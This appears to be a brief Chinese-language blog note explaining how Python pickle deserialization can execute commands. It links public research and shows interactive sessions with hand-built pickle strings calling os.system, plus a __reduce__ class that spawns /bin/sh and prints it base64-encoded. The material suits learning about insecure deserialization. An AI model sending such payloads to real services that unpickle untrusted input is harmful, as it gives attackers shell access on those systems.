標籤:python pickle 工作原理
pickle
http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://lincolnloop.com/blog/playing-pickle-security/
>>> import pickletools
>>> print pickletools.dis("cos\nsystem\n(S‘ls ~‘\ntR.")
0: c GLOBAL ‘os system‘
11: ( MARK
12: S STRING ‘ls ~‘
20: t TUPLE (MARK at 11)
21: R REDUCE
22: . STOP
highest protocol among opcodes = 0
None
>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S‘uname -a‘\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0
構造簡單的執行語句,當然也可以通過類的__reduce__方法,也就是說在執行pickle還原序列化的時候會用到__reduce__方法
import cPickleimport subprocessimport base64class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, ((‘/bin/sh‘,),))print base64.b64encode(cPickle.dumps(RunBinSh()))
>>> class RunBinSh1(object):
... def __reduce__(self):
... return (subprocess.Popen, ((‘uname‘,),))
...
>>> print (cPickle.dumps(RunBinSh1()))
csubprocess
Popen
p1
((S‘uname‘
tp2
tp3
Rp4
.
>>> print cPickle.loads((cPickle.dumps(RunBinSh1())))
<subprocess.Popen object at 0xb70cebac>
>>> Linux
這樣就能簡單構造loads語句了
python pickle 工作原理